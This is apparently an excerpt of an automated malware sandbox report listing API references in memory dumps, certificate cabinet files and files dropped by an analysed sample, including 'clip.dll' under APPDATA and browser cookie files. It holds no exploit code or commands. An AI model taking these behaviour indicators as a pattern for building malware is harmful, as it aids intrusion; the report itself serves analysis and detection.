Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "00000000-00002976.00000000.67103.00401000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00000000-00002976.00000000.67103.00401000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00000288.00000000.68282.00361000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00000288.00000000.68290.0041F000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000288.00000000.68290.0041F000.00000002.mdmp") Found reference to API "186,,LookupAccountSidW,a+" (Indicator: "LookupAccountSid"; Source: "00000000-00000820.00000000.67581.00080000.00000004.mdmp, 00000000-00000820.00000001.67935.00080000.00000004.mdmp")83:T43a,"77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004016] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002404] "Cab5706.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab5706.tmp]- [targetUID: 00000000-00002404] "Cab5764.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63165 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab5764.tmp]- [targetUID: 00000000-00004016]84:T135c,Dropped file: "clip.dll" - Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00003660] Dropped file: "V5KU72CR.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\V5KU72CR.htm]- [targetUID: 00000000-00001136] Dropped file: "OVMOSD8K.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\OVMOSD8K.htm]- [targetUID: 00000000-00004016] Dropped file: "77EC63BDA74BD0D0E0426DC8F8008506" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004016] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00001136] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00001136] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00002140] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002404] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00001792] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00001792] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00002404] Dropped file: "6B2043001D270792DFFD725518EAFE2C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00002404] Dropped file: "G8EFOTG7.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\G8EFOTG7.txt]- [targetUID: 00000000-00002404] Dropped file: "Y8CUBPFD.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\Y8CUBPFD.txt]- [targetUID: 00000000-00004016] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00003128] Dropped file: "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00003128] Dropped file: "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00003128] Dropped file: "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00003128] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00001136] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00001136] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00002404] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00002140] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365]- [targetUID: 00000000-00002140] Dropped file: "TNIAQZXS.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\TNIAQZXS.txt]- [targetUID: 00000000-00004016] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365]- [targetUID: 00000000-00002140]85:T8004,"initAft()